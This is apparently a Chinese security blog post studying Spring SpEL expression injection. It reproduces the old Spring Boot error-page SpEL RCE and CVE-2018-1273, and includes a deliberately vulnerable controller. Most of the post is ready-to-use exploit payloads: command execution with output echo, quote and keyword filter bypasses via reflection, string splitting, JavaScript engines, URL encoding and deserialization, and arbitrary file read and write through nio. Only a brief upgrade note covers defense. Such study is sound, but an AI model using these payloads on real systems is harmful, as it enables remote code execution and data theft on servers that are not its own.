前言

主要记载一下SpEL表达式的学习和研究笔记,主要是发现了一个不受限制的回显表达式,完善了一下基于nio做文件读写的表达式,直接看poc可以跳转到文章最后。

环境

springboot 2.5.3

springboot 1.2.0.RELEASE

cve-2018-1273: https://github.com/wearearima/poc-cve-2018-1273

jdk 1.8u40

基础学习和回显实验

这一章节主要介绍和记录一下SpEL的基础语法,然后探索一下SpEL注入实现命令执行后的回显。

语法基础

由于tomcat对GET请求中的| {} 等特殊字符存在限制(RFC 3986),所以使用POST方法传递参数,controller代码如下

@Controller
@RequestMapping("test")
public class TestController {
@ResponseBody
@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
Expression expression = spelExpressionParser.parseExpression(string);
String out = (String) expression.getValue();
out = out.concat(" get");
return out;
}
}

由于getValue中没有传入参数,所以会从默认容器,也就是spring容器:ApplicationContext中获取;如果给定了容器,则会向具体的容器中获取。简单的实验环境就搭起来了,然后试试常用的SpEL语法

'aaa',表示字符串aaa

T(类名),可以指定使用一个类的类方法
T(java.lang.Runtime).getRuntime().exec("calc")

这里后端会执行语句,然后由于类型转换问题出现报错,所以没有返回值,springboot抛出空白页和500,但是计算器依然弹出。

new 类名,可以直接new一个对象,再执行其中的方法

可见直接new一个对象执行其中的方法,杀伤力极大!需要注意的是,类名最好用全限类名,也就是具体到某个包,不然会因为找不到具体类而报错。

#{…} 用于执行SpEl表达式,并将内容赋值给属性
${…} 主要用于加载外部属性文件中的值

两者还可以混合使用,但需要注意的是{}中的内容必须符合SpEL表达式。这里需要换一下SpEL的写法,否则会因为没有使用模板解析表达式,在传入#{后出现报错。

@ResponseBody
@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
TemplateParserContext templateParserContext = new TemplateParserContext();
Expression expression = spelExpressionParser.parseExpression(string, templateParserContext);
Integer out = (Integer) expression.getValue();
return Integer.toString(out);
}

现在可以使用#{}和${}了

然后就是SpEL表达式通过xml配置和注解的使用,这里就不详细记录了,文档很多,我们常用的攻击方法也不会涉及到这一步。

回显实验

前面可以看到,通过SpEL可以执行系统命令,那么如何在一行SpEL语句中获得命令执行的回显呢?看了一下网上大佬们的思路,见http://rui0.cn/archives/1043

  • 使用commons-io这个组件实现回显,这种方式会受限于目标服务器是否存在这个组件,springboot默认环境下都没有用到这个组件。。
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
  • 使用jdk>=9中的JShell,这种方式会受限于jdk的版本问题
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

难道jdk原生的类没有办法实现回显的输出吗?我找了,还真有

BufferedReader

直接给payload

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

原理很简单,就不多介绍了,这种方式缺点也很明显,只能读取一行,如果执行dir ./命令就凉了,但单行输出还是可以用的

Scanner

payload如下

new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

原理在于Scanner#useDelimiter方法使用指定的字符串分割输出,所以这里给一个乱七八糟的字符串即可,就会让所有的字符都在第一行,然后执行next方法即可获得所有输出。就是稍微难看了点:)

SpEL漏洞复现

首先时低版本下springboot中的错误处理导致的SpEL漏洞

低版本SpringBoot中IllegalStateException

影响版本:

  • 1.1.0-1.1.12
  • 1.2.0-1.2.7
  • 1.3.0

修改pom.xml中的配置

<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.2.0.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>

再改一下controller

@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
throw new IllegalStateException(string);
}

post传入SpEL表达式:

可见直接解析了数据,再来试试其它payload呢

很奇怪,表达式没什么问题,居然报错了,而且还不是springboot的报错页面。显然需要跟进springboot中的源代码,看看发生了什么。刚刚的输入产生的报错调用栈如下:

org.springframework.expression.spel.SpelParseException: EL1069E:(pos 29): missing expected character '&'
at org.springframework.expression.spel.standard.Tokenizer.process(Tokenizer.java:186)
at org.springframework.expression.spel.standard.Tokenizer.<init>(Tokenizer.java:84)
at org.springframework.expression.spel.standard.InternalSpelExpressionParser.doParseExpression(InternalSpelExpressionParser.java:121)
at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:60)
at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:32)
at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:76)
at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:62)
at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelPlaceholderResolver.resolvePlaceholder(ErrorMvcAutoConfiguration.java:210)
at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:147)
at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:162)
at org.springframework.util.PropertyPlaceholderHelper.replacePlaceholders(PropertyPlaceholderHelper.java:126)
at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelView.render(ErrorMvcAutoConfiguration.java:189)
at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1228)
at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1011)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:955)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:877)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:966)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:868)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:644)
省略下方tomcat调用栈

可以看到,抛出报错之后,会从控制器dispatcherServlet捕获到程序抛出错误,从其doDispatch方法调用到其reder方法,那我们在render方法中打个断点往下调试一下,看看发生了什么

render方法中,会先获取View对象,实际获取到的是spring中自动处理错误的view对象(ErrorMvcAutoConfiguration$SpelView),看类名也就知道其大概意思了,也就是返回报错情况下的试图。跟进一下view.render方法

这里的逻辑也比较简单,继续跟进replacePlaceholders方法

public String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) {
Assert.notNull(value, "'value' must not be null");
return parseStringValue(value, placeholderResolver, new HashSet<String>());
}

代码比较简单就不截图了,可见又调用了paseStringValue方法,继续跟进paseStringValue方法,就会看到重点逻辑了

再看看strVal

<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>

这里需要注意末尾有个message,它就是前面的报错内容。这里的逻辑是在返回的页面内容找到${,这一步其实就是为了找到需要替换的位置,为替换成后面的参数做准备,然后进入while循环,这里意思也很明显,找到了需要替换的位置,然后把具体的值替换到result中。 而result是StringBuilder类,所以替换其中的字符串自然要用replace方法,那我们从replace倒推一下就好了。很方便就可以找到具体的值propVal是从palaceholderResovler.resolvePlaceholder中获取的,先跟进一下resolvePlaceholder方法

直接可以看到我们熟悉的SpEL表达式,而从context中获取message,也就是我们的输入,然后使用HtmlUtils.htmlEscape这个静态方法进行过滤,跟进一下这个方法

可以看到这个方法的逻辑是遍历每个字符,然后根据convertToReference方法进行替换,讲替换后的字符添加到最后的输出中。继续跟进一下convertToReference方法

该方法对普通的单双引号、尖括号和&进行了替换,然后对特殊的char也进行了一定的替换,这类就不具体看了。回到我们前面的message获取

这里可以看到replace前,再执行了一次parseStringValue方法,而我们传入的参数变成了${new java.lang.ProcessBuilder(&quot;calc&quot;).start()}很明显双引号被编码了,由于parseStringValue是根据${来找SpEL表达式的,所以传入#{会无效。进入resolvePlaceholder方法时,参数就变成了new java.lang.ProcessBuilder(&quot;calc&quot;).start()

由于双引号被编码,出现了&(SpEL中不允许的字符),所以直接表达式无法被执行。到这里就解开了前面那个payload无效的原因。

到这里不仅搞清楚低版本springboot抛出异常时,可能会被SpEL注入攻击的原理,也找到了payload被过滤的具体方式。下面来绕过一下就好了

因为不能出现单双引号,所以借助一些String类的特性,可以传入byte数组,payload如下:

${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}

如果直接传入#{xx},或者new xxx并不会执行SpEL,原理前面也从源代码中看到了。

防御或修复方案

升级springboot版本即可,在高版本中,处理传入的参数时,不会循环根据${}去找值,也就避免了利用message获取到抛出的错误内容后,将内容再根据${}取得其中的值丢给SpEL执行,从而消除了这种威胁。

CVE-2018-1273 Spring Data Commons RCE

测试环境https://github.com/wearearima/poc-cve-2018-1273

POC: curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"

用hackbar打一下这个poc

弹出计算器,从IDEA里面看调用栈如下

org.springframework.core.convert.ConverterNotFoundException: No converter found capable of converting from type [java.lang.ProcessImpl] to type [java.lang.String]
at org.springframework.core.convert.support.GenericConversionService.handleConverterNotFound(GenericConversionService.java:324) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.core.convert.support.GenericConversionService.convert(GenericConversionService.java:206) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.support.StandardTypeConverter.convertValue(StandardTypeConverter.java:67) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ExpressionState.convertValue(ExpressionState.java:158) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.Indexer.getValueRef(Indexer.java:139) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:66) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.CompoundExpression.setValue(CompoundExpression.java:95) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:445) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.data.web.MapDataBinder$MapPropertyAccessor.setPropertyValue(MapDataBinder.java:187) ~[spring-data-commons-1.13.10.RELEASE.jar:na]
下面太长省略了

可以看到,SpEL的触发是从spring-data-commons-1.13.10.RELEASE.jar!MapDataBinder$MapPropertyAccessor.setPropertyValue开始的,那我们找到这里的源代码,看看具体咋回事

可以看到具体操作是使用PARSER.parseExpression(propertyName),然后使用expression.setValue(context, value)触发SpEL注入,也就是说这里先对参数中给的key->value对中的key进行SpEL解析,最终造成SpEL注入。那么这种参数设置或绑定是如何触发的呢?

回溯调用栈可以看到这里是data-commons这个包设定的自动化参数绑定,将参数的key->value传了进去,然后到达前面的SpEL注入攻击触发点。

SpEL变形和bypass的tips

原型

// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

bypass

  • 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc") // 反射调用+字符串拼接,绕过正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"}) // 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
  • 绕过getClass(过滤
''.getClass 替换为 ''.class.getSuperclass().class
''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[14].invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')

需要注意,这里的14可能需要替换为15,不同jdk版本的序号不同

  • url编码绕过
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// char转字符串,再字符串concat
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
  • JavaScript引擎
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
  • JavaScript+反射
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
  • JavaScript+URL编码
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
  • Jshell
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

以下tips来自https://landgrey.me/blog/15/

  • 绕过T( 过滤
T%00(new)
这涉及到SpEL对字符的编码,%00会被直接替换为空
  • 使用Spring工具类反序列化,绕过new关键字
T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))
// 可以结合CC链食用
  • 使用Spring工具类执行自定义类的静态代码块
T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())

需要在自定义类写静态代码块 static{}

读写文件和回显

  • 无版本限制回显
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

在这个思路上,可以对new、ProcessBuilder等关键字使用反射绕过

  • nio 读文件
new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt"))))
  • nio 写文件
T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt")), '123464987984949'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)

参考

bypass openrasp SpEL RCE 的过程及思考

SPEL表达式注入-入门篇

由浅入深SpEL表达式注入漏洞

SpEL表达式注入漏洞学习和回显poc研究的更多相关文章

  1. SpringBoot SpEL表达式注入漏洞-分析与复现

    目录 0x00前言 0x01触发原因 0x02调试分析 0x03补丁分析 0x04参考文章 影响版本: 1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升至1.3.1或以上版本 ...

  2. SpringBoot框架SpEL表达式注入漏洞复现与原理分析

    前言 这是2016年的一个洞,利用条件是至少知道一个触发 springboot 默认错误页面的接口及参数名. 影响版本:1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升级版本 ...

  3. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  4. PHP xml 外部实体注入漏洞学习

    XML与xxe注入基础知识 1.XMl定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言:可扩展的样式语言(Exten ...

  5. SpringMVC学习--数据回显

    简介 表单提交失败需要再回到表单页面重新填写,原来提交的数据需要重新在页面上显示. 简单数据类型 对于简单数据类型,如:Integer.String.Float等使用Model将传入的参数再放到req ...

  6. java反序列化提取payload之xray 高级版的shiro回显poc的提取过程

    本文中xray高级版shiro payload来源于雷石安全实验室公众号发布的shiroExploit.jar 感谢雷石安全实验室,雷石安全实验室牛逼 本文主要描述如何从shiro的payload中提 ...

  7. SpEL表达式注入

    一.内容简介 Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图.语言语法类似于Unified EL,但提供了额外的功能,特别是方 ...

  8. 通过DNSLOG回显验证漏洞

    通过DNSLOG回显验证漏洞 前言 实际渗透测试中,有些漏洞因为没有回显导致无法准确判断漏洞是否存在,可能导致渗透测试人员浪费大量精力在一个并不存在的漏洞上,因此为了验证一些无回显漏洞,可结合DNSl ...

  9. 巧用DNSlog实现无回显注入

    测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决, 但是盲注往往效率很低,所以产生了DNSlog注入.具体原理如下 ...

随机推荐

  1. spring-2-AOP

    AOP(面向切面编程) 面向切面编程, 即利用AOP可以对业务逻辑的各个部分进行隔离, 从而使得业务逻辑各个部分之间的耦合度降低, 提高程序的可重用性, 同时提高了开发的效率. 不通过修改源代码,通过 ...

  2. 一次搞懂JavaScript对象

    索引 目录 索引 1. 对象与类 2.对象使用 2.1 语法 2.2 属性 3.对象特性 4.对象的创建 4.1 字面量 4.2 工厂函数 4.3 构造函数 4.4 class类 4.5 对象与单例模 ...

  3. noip模拟27[妹子图·腿·腰](fengwu半仙的妹子们)

    \(noip模拟27\;solutions\) 这次吧,我本来以为我能切掉两个题,结果呢??只切掉了一个 不过,隔壁Varuxn也以为能切两个,可惜了,他一个都没切...... 确实他分比我高一点,但 ...

  4. [HNOI]2011卡农

    这是一道很好的组合数学题. 对于和我一样五音里面有六音不全的人来说,我们就应该转换一下题目的意思: 一句话题意: 题目的意思就是说要从一个有 n 个元素的集合当中选出一个长度为m的集合,然后满足: 1 ...

  5. java高级编程笔记(四)

    java的Object类: 1.Object 类位于 java.lang 包中,编译时会自动导入:Java 的所有类都继承了 Object,子类可以使用 Object 的所有方法. 2.Object ...

  6. 关于maven打包与jdk版本的一些关系

    最近让不同JAVA版本的容器maven打包折腾的不行,终于理出了一点头绪.在这里记录下备忘. 1. Maven与jdk版本的关系 先明确一个概念,关高版本JDK运行maven,是可以打出低版本的JAV ...

  7. glassfish Client not authorized for this invocation.解决办法

    javax.ejb.EJBAccessException at com.sun.ejb.containers.BaseContainer.mapLocal3xException(BaseContain ...

  8. weex打包android apk采坑之旅(windows)

    1. npm install weex-toolkit -g 后weex命令不起作用 ,解决办法把weex.cmd所在的目录添加到环境变量PATH 2.weex命令每次报找不到文件'C:\Progra ...

  9. Apereo CAS 4.1 反序列化命令执行漏洞

    命令执行 java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success&q ...

  10. Kubernetes的基本概念和术语

    Kubernetes中的大部分概念如Node.Pod.Replication Controller. Service等都可以被看作一种资源对象,几乎所有资源对象都可以通过 Kubernetes提供的k ...